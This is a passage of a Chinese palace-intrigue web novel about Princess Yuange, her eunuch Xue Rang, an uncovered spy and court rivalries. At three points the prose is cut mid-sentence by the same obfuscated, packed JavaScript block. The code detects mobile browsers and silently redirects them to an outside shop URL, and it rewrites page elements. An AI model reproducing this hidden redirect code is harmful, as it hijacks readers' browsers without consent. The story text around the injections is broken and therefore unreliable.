“也可以是。”薛让语气诚恳。 元歌头一次,离得近了正眼看他,她仔细去瞧薛让的脸:“瞧着乖顺,实则脸皮比城墙还厚实。” 薛让的眼睫很长,在公主凑近时颤了颤,像蝴蝶翅膀的边缘。 不知是出于什么目的,元歌无聊时总想刺一下薛让。看他作何反应,看他兢兢业业的伪装,看他恰到好处的逢迎,听他说出的真心话,听起来确实像真的,说的比唱戏还好听。如同她小时候玩的翻花绳,就算乱翻一通,也总能有新花样。 “公主,东宫来人了。”绿扇进来禀报。 原是太子见元歌什么也没带就匆匆走了,又叫宫女给她送过来,不只是石斛、脂粉,连洗净的葡萄也给装了一盘。最后,那两个宫女也顺势留在了含章殿,作为太子拨给长庆公主的下人。 宫女带了太子的口信,将她这几日的饮食和睡眠仔细安排了一遍,还叫她待在自己宫里休养。元歌笑盈盈给宫女每人赏了些银子,分去配殿。 殿门再次合上,元歌脸上的笑容消退。她拈起一颗青绿的葡萄,咬下一口,皮薄甘甜,汁水染在她的指尖。指甲上是凤仙花的红,近乎透明的葡萄汁流过,让元歌有种挥之不去的黏腻感。 就像被人一直注视着。 元歌看着面前垂首的人,薛让捧着盥盆,其后的两个小宫女分别端着澡豆与手巾。 下人都有自己的小九九,元歌自然知道。不过平日她懒于去关注他们的心思,只是逢年过节就赏钱,高兴了也赏钱,惹她厌烦了就打板子。此时她却发现自己对这些宫人并不了解,若说其中有太子的眼线,她瞧谁都像。 这些年她的确活得恣意又大意了点,不像宜妃,能将整个殿里的人治得服服帖帖,嘴巴一个比一个严,外人连半点消息都打听不出来。 温水里加了玫瑰汁子,元歌喜欢这个味道,眉目稍有舒展。 “下去吧,本宫困了。” 珠帘放下,纱帐飘了飘又静止。 翌日,林福偷偷来含章殿后头的直房找到薛让。 “好小子,你这是又走了运道!公主这回吩咐我办事,还专门提及了你。”林福压低了声音。 “林公公才是公主心腹,我初来乍到,顶多算个做杂事的,还需林公公费心提点着才不会出错。”薛让反过来夸他。 林福听完又舒坦了,揽过薛让的肩,自己人一样:“这事儿连我干爹都不知道,你别说漏了嘴。” “说起来可不得了,咱们含章殿里出了细作,竟敢将公主的起居事宜泄露出去!平时大家伙们都领过不少赏银,这细作不知是安的什么心?浑了脑子恩将仇报!自然,我也不会跟你说细作是哪个宫的,得,别这样瞧你林公公,你一个照看狗的知道那么多作甚?”实际上林福也不知道是哪个宫安插进来的,但他总要装作比薛让知道的多一些。 “是。”薛让道。 “于是呢,公主便交待了我这件要紧事,叫我将那细作揪出来,嗯……顺道带着你。你也时刻注意着点,拿不定主意就来问我,切莫打草惊蛇。”林福一边说着,还有些自豪。 公主连干爹都没吩咐,直接来吩咐了他,这说明什么?公主还是最看重他啊!只是碍于他目前资历浅,不能提拔得太快。林福揣度了一番公主对他的殷殷期望,很有干劲。 接下来的日子,林福特意盯着那几个进出寝殿服侍的宫女,若是她们有异动,或是传递消息,他一准儿能最先发现。 林福熬了几日,终于抓到一个形迹可疑的宫女,然而她只是想给宫外的家人递一封书信和几匹缎子。竹篮打水一场空,林福气得半死。 林福找到正在喂狗的薛让,见他优哉游哉,林福的火气噌地冒上来,催他赶紧办正事。 对方随手指了一个小厨房的洒扫太监,名叫邓满泉。 “薛让,你再偷懒耍滑,我叫你吃不了兜着走!”林福两边眉毛拧成一条绳,愤愤道。 “正是此人,我可没敷衍你。”薛让耸耸肩,一副爱信不信的样子。 “按照常理来说,庖厨之废都是直接扔了,不会有人对此感兴趣。而邓满泉在打扫厨房时,不仅常常观察煮汤或煮水的渣滓,还会扒拉厨子丢弃的废料。他是从尚膳监出来的,之前的汤水剩下了酸枣仁的渣子,他看了便知道公主许是虚烦失眠。若是有雪梨和枇杷的果皮,他就能猜到公主是着凉咳嗽了。” “这一天天啊,不知要被他从饮食里看出多少门道!之后邓满泉再和粗使太监一同将小厨房的废弃运出去,顺道把消息传递给含章殿外的人。” “殿下,奴才探查了这么些日子,就是邓满泉无疑了!”林福站在公主面前,详细禀报了因果。 “查的不错。”元歌赏了林福。 紧接着,她又传了邓满泉。看清了此人模样,赏下二十板子。 听到只有二十板子的处罚,邓满泉反倒庆幸起来。 “倒是个人才,本宫使唤不动你,只能还给皇兄了。”元歌又抿一口茶水。 打二十板子也就是养几日的事,但被送回东宫后就难说了。邓满泉的面色一下就白了,痛哭流涕地求饶。 元歌嫌吵,叫林福把他拖到后院去打。 对外自然不能说这是太子安插的眼线,林福只说是此人偷了公主的东西拿出去卖钱,打完就送去宫正司。其他宫人不知内情,只有太子送来的另外两个宫女心里门儿清,她们因此一事,也安生了不少。 薛让在旁边看着邓满泉挨打,面上十分平静。绿扇又借机敲打了一番宫人,这才让他们散去。 “多亏你,我才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481305|201754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟公主交差。”走在路上,林福用手肘戳戳薛让,低声说道。 他发觉这个人确实很讨喜,不争功不多舌,直接就把找到眼线的功劳全给了自己。 林福在公主面前揽下功劳后,心里多少也有些过意不去,把公主赏的金瓜子分了薛让两粒,还约他下回一处吃酒。 薛让倒是和之前一样好说话,答应了一起喝酒,林福喜滋滋走了。 而他继续充当不起眼的角色,和墙角的土鼓藤一样安静。如果仔细观察,会发现冬至一过,天时更寒,藤蔓原本苍绿的叶片中间逐渐长出了赤红的颜色。 红色的石榴酒喝了一半,果香和酒香充斥在殿里。 元歌托着小小的玉石酒盏,观察里面流动的色泽,隐隐折射光晕。 她没有叫薛让退下,薛让便老老实实跪在地上。 想是在含章殿当差后能吃饱饭了,如今他没有之前那样瘦削,脸上多了点肉,更显得神清骨秀,穿着新做的浅绿冬衣,如同溪流下剔透的绿松石。 “看起来不像太监,倒似个书生,偏偏你还不识字。”元歌歪头看他。 “回殿下,奴才只认识戏。”薛让道。 “这还不好办吗?本宫允你往后去内书堂听讲,在含章殿做事,还是要学几个字呀。”元歌喝完手中的石榴酒,吐字含糊:“你长这样的脸,不能不识字,还要给我念书……” 内书堂是宫里专门教太监读书习字的地方,公主语气飘忽,像是喝醉了。 “奴才谢公主开恩。”薛让微笑,伏在地面叩头,发出一声沉闷的响。 “起来,本宫话还没说完。”元歌撇撇嘴,“你说,邓满泉是你找出来的,是也不是?林福的确忠心,可他没那么心细。” “是。”薛让复又抬起头,额头红了一片,承认了。 “薛让,你饮酒么?”元歌站起身,低头问他。 这突兀的话题令薛让摸不清背后的意思,思索怎么回答最合适。鼻尖却是一股幽幽的栀子花味,是从公主发梢逸出的香。 公主总喜欢用各种花朵制成的梳头水,没有固定的香气,今儿是栀子花,明儿是桂花油,过两日又是蔷薇露。 外头飘着小雪,殿内闻起来像是开了花,炭火旺盛,暖春一样。 “怎么,又想着如何糊弄我?”元歌的声音打断了薛让想法,“张嘴。” 薛让的脊背微微弯曲,仰着头,他唇色很浅,露出两个略尖的虎牙,又像毒蛇的牙齿。 元歌拿起桌上那一壶大的琉璃尊,将余下的石榴酒倒进薛让嘴里。绯红的酒从他的嘴角流下,眉目疏懒,一派醉玉颓山的风姿,像个颓唐的富家公子。 她盯着他漆黑的瞳子。 “本宫想看重你,薛让,记得对我说实话。”元歌蹲在他身前,裙摆在地面绽开,复又解释道:“本宫喜欢这酒,才分给你。你也得喜欢才成,薛让。” 薛让咳了几声,笑容依旧很体面:“公主赏酒,是奴才的荣幸。” 公主应当是喝醉了,白皙的面庞上蒸出一片霞蔚。不同于深宫里其他人的木然,她琥珀色的眼眸晶亮莹润,贵气又生动,就这样流转过来,看着你,不是厌恶也不算喜爱,就只是看着你。 石榴酒的气息倾泻在二人中间,果香轻盈,元歌也无所谓尊卑礼教,抬手用丝帕擦了擦薛让的嘴角。 “之后的冬狩,本宫带你一起去。”元歌托腮,闷闷地说:“不然也太无趣了。” 8. 第八章 此次冬狩不仅有皇亲和官员参与,还有地方进京述职的武官。于是声势比以往几年都要浩大,南郊的麓山以及周边全都提早围了起来,用作皇室狩猎的场地。 当今圣上一登基便废除了藩王制,往后皇子成年后便在宫外开府居住,非皇命不得离京半步。因此先帝派去就藩的王爷们纷纷被召回,有异心的直接杀了或圈禁,剩下的没几个,在燕京担着空头爵位,没有实权。 这几个王爷也要带着儿女一同去冬狩,历年皆是如此。其中最年长的是平王,素有贤名。 今日平王妃向宫里递了牌子,带着三岁的小孙子拜见了太后,之后让奶娘将孙儿带回王府,来到咸福宫探望有恙的惠妃。 周保恒被革职抄家后流放岭南,今日就要启程。周惠妃这边在冬狩前抱了病,到时候便只有宜妃和几个年轻的才人伴驾。 平王妃母家旁系某个表妹嫁给了周惠妃的二弟为妻,算起来两家的确有些姻亲。平王妃便想着宽慰惠妃则个,顺道看看能否打听些宫中的口风,皇帝和太后今年属意哪个宗室女去和亲北羌。 惠妃瞧着是有些无精打采,但还不到染病的程度,估计是为了避开出席的场合,也叫陛下看到她的示弱。 平王妃见咸福宫的炭火依旧是上好的银丝炭,茶水糕点一应俱全,便知道惠妃的日子过的还成,不至于被宫里那些奴才轻慢。要说啊,还是得有个孩子做倚仗,否则妃嫔一旦失了宠,宫人一贯拜高踩低,连日常用品都会克扣。 她说了些劝慰的话,惠妃有一搭没一搭应着。 “娘娘就算不为了自己,也要为三公主和六皇子想想。只有照料好身子,养育教导好公主皇子们,日后才有指望。”平王妃道,“况且周大人流放也是要堵言官们的嘴,兴许陛下过几年又会将他调回来。” “王妃说的是。”惠妃勉强笑了笑,显然是没听进心里去。 平王妃不再多言,留下礼品便告退了。 回府的马车中,跟了她几十年的陪嫁嬷嬷忍不住问道:“王妃,宫里可有什么消息?” 平王府里的小郡主今年十七,是平王夫妇最小的女儿,养得温婉可人,正到了谈婚定亲的年纪。近来他们夫妇忧心不已,就怕皇帝挑了他们家女儿和亲外族。 天知道他们本想招个听话的儿郎入赘的。 “太后娘娘一味打太极,什么也看不出来。惠妃又自顾不暇,哪里会管咱们王府的事?我也不好开口问。”平王妃无奈地说,心里仿佛压着一块巨大的石头。 马车继续前行,在路过莲茂斋时王妃叫了停,让小厮去买两盒酥油泡螺。 泡螺是由牛乳、酥油、蜂蜜制成,外酥里润,很是难得。不仅价钱昂贵,普通人家想要买上一盒也要排许久才轮到。 小厮出示了平王府的牌子,店小二忙不迭先给他送上几盒。 “除了莲茂斋,放眼全燕京也找不出第二个会做泡螺的。上回郡主赏了奴婢一口,甜滋滋,活像酪浆凝成一团,奴婢活了几十载,还没吃过这样式的点心。”嬷嬷接过小厮提回来的糕点,小心摆在身侧。 王妃脸上这时才显出笑容:“媖儿总喜欢吃这些小东西。” 她和平王统共育有二子一女,长子夭折后就剩一子一女,这一对儿女便被平王夫妇看得跟眼珠子一样宝贵。儿子早早就请封了世子,女儿则捧在手心里护着长大。 平王最初还以为小女儿口中的泡螺就是田螺,某次令府上的厨子做了一大桌酒糟螺、炒田螺等菜样。这看得小郡主摸不着头脑,不过她还是忍住了对这种河鲜的不喜,每道都吃了几口。 平王妃透过半开的车帘,看到一对男女相携走在街上,男子仪表堂堂,女子活泼灵动。她定了定神,脸上先是疑惑,而后恍然。 平王妃认出了这二人,不由感叹:“王爷之前相中的那个鸿胪寺年轻后生,大约是姓闻吧,他家中父母猜到王爷的意思,诚惶诚恐,有些上不得台面。我原想着不打紧,夫家势弱,正好叫他入赘,王府也可提携他们一家。” “后来媖儿嫌他为人木讷,家世也一般,愣是没看上。瞧瞧,人家现今也娶了妻室。” “郡主德艺双馨,比旁的什么官宦家里的小姐都要出挑,又在王府千娇万宠地长大,寻常丈夫都配不上郡主!要我老婆子说,咱们郡主眼光高些才有道理嘞!”嬷嬷笑着说道。 “这闻家小门小户,还有一堆穷亲戚,出个探花已经是祖上积德了,哪里接得住王府给的富贵?”嬷嬷弯腰合上车帘,挡住了那对新婚夫妇。 车帘外,女子手里正拿着一个糖画,脚步轻快,头上的发带随着动作翩飞。她指了指不远处的酒楼,示意男子一同进去,男子笑着点头。 莲茂斋旁边的酒楼,说书先生正侃侃而谈,客人大多全神贯注地听着。 三楼雅间,元歌临窗咬开一枚泡螺。酥皮香脆,内馅入口即化,她说了句太腻,便将其扔了。 随后,元歌眼尖地看到下面马车的华盖,以及前方独特的蟒纹伞盖。 “那不是平王家的马车么?”元歌说道,难得出宫一趟,碰巧还遇见了熟人。 “殿下好眼力,看他们来的方向,应是从宫里出来的。”身后的红绡随着元歌的目光看去,她今日也换下了宫女装束,脸圆圆的,簪着钗环,看着像某个高门小姐的贴身丫鬟。 又不是逢年过节的,这时候入宫做什么? 元歌曾在文华殿听先生教授诗书礼乐,平王夫妇本想为小女儿攒个好名声,便把姜媖也被送进宫与三公主作伴。谁知三公主不仅带着姜媖旷学去看马球,还教给姜媖一堆市井玩意。 原本娴静乖巧的媖儿回府后,诗书记得平平,但是却熟练掌握了叶子牌,还喜欢裹着毯子扮演搜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481306|201754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神记里的妖魔鬼怪。平王夫妇大惊失色,忙让姜媖悄悄远离三公主。 好朋友开始喜爱读书不和她玩了,六岁的元歌着实伤心好几日,还偷偷掉过几滴泪。可恨被多管闲事的姜琏瞧见,在旁边偷笑,又装作大人语重心长地对她说这世上没有永远的朋友,只有他这个兄长不会抛弃她,而她若是继续哭就会变得和老妖婆一样丑。 元歌愤怒地抹去泪水,给了他一拳。 “说起平王府,柔嘉郡主定亲了吗?”元歌想起姜媖,这位郡主实乃大家闺秀的典范,和自己的风评正好相反。 “回殿下,之前科举放榜,平王曾向陛下请旨给柔嘉郡主指婚,被压下了。”红绡道。 元歌望着逐渐远去的马车,想了想道:“说不定又是为了姜媖的事呢。” 她有时很难理解平王和平王妃,姜媖都及笄了,他们还将她看做是个小孩子一样,生怕磕了碰了。真是奇怪。 “主子,您交待的事办妥了。”林福从楼梯上来,在元歌背后弯腰回禀:“奴才把银子给了押送周大人的解差,他们都收下了,这一路应当会关照些周大人,至少不会有意磋磨他。” 今日公主出宫,说是来听书玩乐,实则主要是为了打点押送周保恒去岭南的差役。 “你穿这身倒合适。”元歌看着他身上的褐色袍子,头上还戴着个四方巾,是个商贩走卒的打扮。 林福嘿嘿笑了两声,周保恒还让他给公主带了话,求公主和娘娘救他。只是公主看起来并不想问周保恒,林福便什么也没说,权当没有这回事。 元歌的确不想多说周保恒的事,她这舅舅也是过于张狂了些。父皇想要肃清京察,正需要拎个人出来杀鸡儆猴,不抓他抓谁? 她望了眼天边的云霞,她如今已经站的很高了,从阁楼看往下去全是攒动的人头,沿街叫卖声不绝。 小时候她太矮了,在马球场边只能看见杂乱的马蹄,还有脏兮兮的尘土飞到她脸上。元歌急的跺脚,周保恒便让她骑在自己肩膀,元歌扶在舅舅的大脑袋上,终于看清了里面激烈的战况,摇着手大喊助威。 嬷嬷教导她小点声,要有个公主的样子。 公主地位尊崇,自然想做什么就做什么,哪里要你这婢子说教?周保恒斥责道。 你是主子,不能叫奴才骑到头上。周保恒对她说。 元歌似懂非懂点头,后来才知道二舅才是将五分权力发挥出七分的佼佼者。 今日无用的回忆太多了些,元歌烦躁地甩甩头,又买了许多街上的新奇玩意儿,便回宫了。 她每次出来,都要带些东西回去。挑几个有趣的送到皇帝那里,再拿几个送给母妃和姜越。 马车行至神武门外,换了轿辇,穿过外朝继续往内宫走去。太监稳稳当当抬着轿,却忽然停下来。 似乎有人挡住了去路。 9. 第九章 皇帝的书房又多出来几个突兀的摆件,其中木雕的小印章放在陛下私印旁边,皇帝正在给老臣的折子上盖印,却盖出来个小兔子,这才发现拿错了章。 伺候笔墨的小太监的心提到了嗓子眼,幸好皇帝没有迁怒,只是感叹公主不愧属兔,成日买些和兔子有关的物件。 棕黄色的兔子动了动耳朵,好奇地望着笼外这个没见过的人,鼻子一吸一吸,带着胡子颤动。 狭小的笼子镀了金子,连边角都镶上宝石,放在东宫偏殿的暖阁中,散发着珠光宝气。 “好不容易看到小主子回来,它比前几日都活泼了些。”太子笑道。 他面色红润,瞧着心情很好,身着藏蓝贴里,外头罩着一件淡金罩甲,上有四合如意云纹。 元歌的眼神显出几分惊诧,她养过许多兔子,最后一只的确是棕黄的。但她离开坤宁宫时那只兔子已经老了,怎么可能活到现在,还能活蹦乱跳? “这不是我的兔子。”元歌如实说了。 一瞬间,周围两个宫人简直比她更惊恐,唰地全跪了下来。 姜琏没管他们,对元歌道:“许是太久没见记不清了,不打紧。” 说罢还带着点傲气看着她,你看我把你的兔子养的多好。 元歌看到旁边的宫女都快哭出来了,压下了想要回顶姜琏的话。此人半个时辰前挡住她的去路,非说太子妃有要事请她一叙。元歌到了东宫,又听闻太子妃身子不适已经提早歇下了。 “今日出宫去哪儿玩了?”姜琏状似无意地问她。 “茶馆听书,还去买了泡螺吃。”元歌回道。 “没有了?” 元歌抿了抿嘴:“没了。皇兄若是没有其他事,我就回宫了。” 下人已经全部退了出去,兔子还在黄金笼里上蹿下跳,似乎知道来了贵客。 “外头的东西不干净,吃出病就不好了。”姜琏不赞同地说。 他静静看着她,仿佛知道了元歌有所隐瞒。元歌自顾自蹲下,背对他,拿着半截胡萝卜喂兔子。 “三妹妹长大了,不想跟我这兄长再有牵连了。可是三妹妹,你行事张扬不计后果,心思也少,时常被哄骗,几个伴读都能哄的你找不到北。”姜琏冷笑,“再说,之前有人妄图在你的膳食里下毒,我才要在你的宫里安排人盯着,三妹妹却一点也不领情。” 元歌只抓住了后半句的重点,回头问:“谁要害我?” 姜琏摸摸她的头:“别担心,都解决了。” 元歌偏过头:“不劳皇兄费心。” 姜琏丢掉手杖,蹲下靠近元歌,清淡的药香传来。 “这就生气了?三妹妹还是没长大,是我高估了你。”姜琏看着她,叹了口气,语气失望:“听闻你从宜妃手里救了个小太监,孤还纳闷三妹妹何时这么好心了?听邓满泉说了才知,原是长得像故人啊。从一个腌臜太监身上找他的影子,皇妹,你如今都可怜到这般地步了么?” 你这么可怜吗。 元歌的呼吸渐重,一时说不出话,愁绪又被勾起。她忽然伸手把姜琏一把推到在地,旋即站起身。 姜琏居然一推就倒,顺着她发火。 “你怎么敢提起九仪?若不是你,他怎么会在塞外伤了一条腿?”元歌深吸一口气。 “皇妹又冤枉孤,去年明明是陆九仪他自请替父守边的,和孤有何干系?皇妹的忘性愈发大了。”姜琏坐在地上,轻拍袖角的灰,不在意地说。 “皇兄还是好好看顾自己的身子吧,别从早到晚传太医,免得朝臣担心储君命不久矣,朝纲不稳。”元歌刺了回去。 姜琏此时的脸色才略有难看。 元歌乘胜追击,看笑话一样瞧着他:“皇兄,要是无人扶你,你能端端正正从地上站起来吗?怕不是很难看。” 却不想姜琏笑了出来,无奈地说:“那便只能烦请三妹妹扶我起来了。” “你想的美。”元歌恨不得往他身上再踩两脚。 “那等孤日后想起来,就叫人给你宫里那小太监贴几张加官。陆九仪是将门之后,怎么能和一个太监长得相像?孤也实在看不下去。”姜琏道,“自然,若是皇妹还想怀念,只用把桑皮纸留下。” 贴加官是宫里的一种刑法,将受刑者绑在凳子上,往脸上一层一层贴上浸了水的桑皮纸。当受刑者没了呼吸,等待纸张干涸后再一同揭下,纸面就会呈现出受刑者临死前惊恐万分的面容。 元歌拳头攥紧,又缓缓张开,终究还是朝姜琏伸出了手臂:“拉着。” “我就知皇妹不忍见我出丑。”姜琏握紧了她的手腕,借力站了起来。 元歌又黑着脸将手杖递给他:“你要是再动我宫里的人,我便……” “好了好了,我晓得了。”姜琏打断了她的话,“莫要总说那些伤情分的话。” 元歌呵呵笑了两声,完全不信他的话,转身推门出去。 然而没过多久,她又快步回来,一把将装着兔子的金笼子抱了起来。 “这兔子我拿走了,跟着你平白受罪。”元歌丢下一句话,头也不回地走了。 外头候着的两个宫女见到元歌把兔子带走,如蒙大赦,行礼送别公主也跪的真情实感。 自从几年前太子殿下让人养兔子,这活儿就变成了十成十的危险。最早第一任养兔子的人,因为说了实话,大约是兔子老了这几日看着不行了。太子没说什么,只是第二日这个人就不见了。 第二任养兔子的心惊胆战,兢兢业业侍奉兔子,半夜弯腰拜笼子直唤爷爷,可兔爷爷还是按照寿命死了。当然,这个人的下场也不必多提。 太子没看见兔子的尸首,非说是兔子跑丢了,让人满东宫地找。 两个宫女壮着胆子买了只差不多模样的兔子,放到笼里说是之前的兔子找到了。太子竟对她们大加夸赞,赏了许多东西。之后这兔子染病死了,她们又换了只相似的兔子。 “你们照管的很好,皇妹是喜欢兔子的。”太子淡声说,让总管太监去将库房打开取几件珍品赏她们。 两位宫女闻言更是惊喜,叩头谢恩,心里只道是富贵险中求。 眼前冰凉的石板路也冒出些光亮来。 薛让从地上抬起头,天已经黑了。 含章殿梁下悬挂的六角宫灯撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481307|201754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下光亮,上面的画纱绘着工笔花鸟,栩栩如生。 灯下的兔子生龙活虎,元歌给它换了一个宽敞的木笼子,兔子将毛茸茸的脑袋贴在她的掌心。元歌发自内心笑了笑,顺着它的耳朵揉了揉它的身子。 香香对这个小毛球很感兴趣,摇着尾巴凑过来,呼哧呼哧喘气,兔子瑟缩回笼里。 “别害怕,小乖乖。”元歌柔声细气,安抚地摸了摸它,出于公正又用另一只手拍拍狼青犬的狗头。 元歌吩咐宫人好好照看这只兔子,白天暖和时就将它放在后院的花圃跑两圈,透透气。 “总是闷在笼子里,大约也会生病。”元歌道。 笼子的门合上。 拔步床的帐幔落下。 今日是薛让在主殿外的耳房值夜,公主却宣他进殿伺候。 太监是没根儿的阉人,宫里也不避讳叫内侍入寝殿,太监怎么能算男人? 薛让跪在拔步床前的脚踏旁,听到帐子内传来声音。 “薛让,你如今认识了几个字?”元歌躺在枕上,问道。 “回殿下,这几日师傅领着学了三字经。”薛让抬头,看着蚕绸床幔上的蜀绣回答。 “快些学,之后才好给本宫读书,也好替本宫办事。” “奴才遵命。”薛让跪坐着,“奴才记得许多戏文,也算有趣儿,殿下想听吗?” “可以。” 薛让听到锦被摩擦的细微声音,公主应当是翻了个身,他闻见很淡的桂花味。 薛让讲的是一出倩女离魂,张倩女的魂魄离开身体,追随所爱之人赴京。缱绻的戏文唱腔被逐字逐句念了出来,他清朗的声音压低,不似其他太监一般阴柔,语速缓慢,却依然保有平仄顿挫。 “他是个矫帽轻衫小小郎,我是个绣帔香车楚楚娘,恰才貌正相当。俺娘向阳台路上,高筑起一道云雨墙……”* 起初公主的呼吸较重,似乎有隐隐的抽泣之声。再仔细一听,什么也没有了,似乎一切都是薛让的错觉。 就算公主有感而哭,薛让也不在意她是因为什么,只关心能否借着这个机会让公主提拔他。 他很乐意扮演一个忠仆。 但又不能一辈子只是个奴才,太憋屈。 三字经里说人有三纲,君臣义,父子亲,夫妇顺,他一个都不占。看来老祖宗都不把他这种货色当人看,他觉着自己也不必遵守这些繁文缛节,麻烦得很。 寝殿只留了一盏灯,周遭昏昏沉沉,瑞炭异常暖和。 “我这里翠帘车先控着,他那里黄金镫懒去挑。我泪湿香罗袖,他鞭垂碧玉梢……” 都说无情不似多情苦,薛让念戏文的声音听起来颇带感情,实际上他的眼瞳里却是一片清明冷静,毫无情绪。 床帐内的呼吸声逐渐平稳,公主的手腕耷拉到床边。腕上金链子,指尖染的是浅杏红,像夜里蜡烛尖儿上跳跃的火苗。 薛让缓缓站起,瞥见放着金瓜子的匣子,伸手过去,在匣子上方停留片刻。 手掌落在旁边的白釉瓷罐上,从里面拿了颗粽子糖。 他将粽子糖丢进嘴里,轻手轻脚出去了。 10. 第十章 再过两月就是新年,宫里上上下下的主子都要做新衣裳,尚服局的女史也来到含章殿为公主量体裁衣。 像宜妃和长庆公主这样的自然无人怠慢,无论用料还是针线嬷嬷都是顶好的。但诸如不受宠的妃子,过年通常连新衣裳或新首饰都拿不出手。 惠妃因家人获罪被夺了协理六宫之权,现在许多事物均是宜妃和庄妃在管着。 庄妃出身高门,育有大皇子,如今已封了淮王出宫开府,她身居妃位理所应当。而宜妃多年前只是皇后坤宁宫里的一个宫女,如今摇身一变成了高位娘娘,又诞下了八皇子,这样的际遇实在叫人感慨。 宜妃娘娘宅心仁厚,这些日子不仅自掏腰包贴补了不少低位嫔妃,还将她从前不穿的旧衣服和首饰送给了她们。 说是旧衣,实则这些料子都是极好的,低位嫔妃可以将旧衣上的绸缎拆了重新做衣服。至于首饰,也可以融了再打一个新样式。她们得了赏赐自然欢喜,过年时穿着新衣裳也不会叫人轻易看轻了去。 一时间,宫里人人称道宜妃娘娘体恤,宜妃宫门口热闹极了,时常有谢恩的才人和选侍。 其中也有卫选侍,她平日里并不受宠,皇帝只临幸过一次便把这个出身钟鼓司的选侍忘在脑后了,是以卫选侍平常的分例和膳食常常被克扣。这下宜妃赏了不少东西,她心里感念,便来谢恩。 卫选侍不仅会唱戏,绣活也很拿手,她的戗针使得娴熟,颜色层层叠加,花卉鸟羽上的渐变活灵活现。 宜妃娘娘赞了一句她的荷包,她便点灯熬夜绣了几个献给娘娘,宜妃娘娘瞧着很和善,含笑收下了。 卫选侍回到宫里发了会愣,又开始绣手炉外的套子。她已经不再指望皇帝的恩宠,若是能投奔宜妃娘娘得到些庇护,往后日子也会好过得多。就算是给宜妃娘娘当奴才她也认了,反正她当奴才也习惯了。 宜妃娘娘是个宽容人,大约是能帮她一把的。卫选侍想到这儿,更加卖力地绣东西,之后还打算绣一架屏风以表忠心。 炭盆中只有些灰烬,白日里暖和,她不舍得用炭。 卫选侍专心绣着,自然没发觉殿里的太监小云子又出去赌骰子了。 御马监后头。 骰子落在桌面,周围几人欢喜几人忧。 卫选侍殿里的小云子输得惨淡,宜妃宫里的王公公赢得最多。小云子求爷爷告奶奶,急得干瞪眼,他掏空所有口袋也拿不出这么多钱。 王公公揽着他耳语几句,小云子面色略微好转,却还是犹豫:“这能行么?” “蠢货!若不是咱家看你可怜,怎会允许你用那些零碎来抵钱?那你今日就将真金白银拿出来,咱家也不想受你的气!”王公公尖细的嗓音透出怒气。 小云子立刻摆手作揖,算是应下了。 王公公叫他拿些卫选侍不要的或是绣坏了的东西抵钱,反正卫主子也不要,与其扔了,不如叫他拿去再作利用。 卫主子随和,对下人们居然也很客气,当主子也当不明白。这使小云子的胆子更大了。 “好好好,咱家没看错你这孩子。”王公公揽着小云子,手掌抚摸过他的肩膀。 不远处薛让低头,看着手心的骰子,掂了掂,立即察觉出这里头掺了水银。 他表情了然,没说什么便离开了。 翌日,天亮之后薛让来到含章殿,尽职尽责照看香香,又寻了个时机进殿回禀。 元歌将薛让留在殿中好一会儿,才叫了膳。 不知里面说了什么,绿扇从殿里走出来时脸上还带着凝重。而薛让则是提着公主赏他的食盒,慢悠悠走出来,还哼着小曲,看起来什么事也没发生。 薛让在直房内用完精致的膳食,又早早去到御马监后面斗鸡。 他又遇见了宜妃宫里的小喜子。 从前他帮过小喜子赢钱,一来二去便熟络起来。因此知道小喜子认了王公公当干爹,时常给王公公干杂活,连王公公屋里的灰尘也都是小喜子打扫。 可王公公压着底下的人不让他们出头,怕他们得了主子青眼,越过自己。 林福有时会带着小喜子喝酒,这二人都是认了干爹的,总有些共同语言。这晚薛让也提着一壶酒来了,同他们一起喝。 出去小解时,林福偷偷告诉薛让,小喜子这干爹和他的干爹不是一码事。 “他日子比我难得多。王裕兰那厮有个癖好,专挑长得白的小太监,让他们大冷天脱光了给他暖被窝,暖好了他才进去睡,有时还要拽着小喜子陪他。我呸!鳖下的东西!”林福系好裤腰,难得气愤填胸了一回。 “你往后带他多赢几个钱吧。” 薛让若有所思,点了点头。 林福放了心,又诶呀一声:“你刚才是不是站着尿的?呦呵!快教教我。” 他隐约记得薛让刚刚的背影,高高瘦瘦,像是站着的。 “没有,你看错了。”薛让面无表情推开他。 林福打了个酒嗝,拍着肚子:“是吗?” 也许的确是他喝晕了,太监怎么可能站着尿?真是傻了。 薛让和林福回到直房,小喜子自己已经喝了好几杯。他用筷子去夹盘里的花生,怎么夹也夹不住。 花生掉在地面,他弯腰捡起,丢进嘴里嚼了吃。 又喝了一会儿,几人喝得尽兴,薛让便将小喜子送回直房。 小喜子正要推门进去,薛让一个踉跄载到在地,说着酒后胡话。 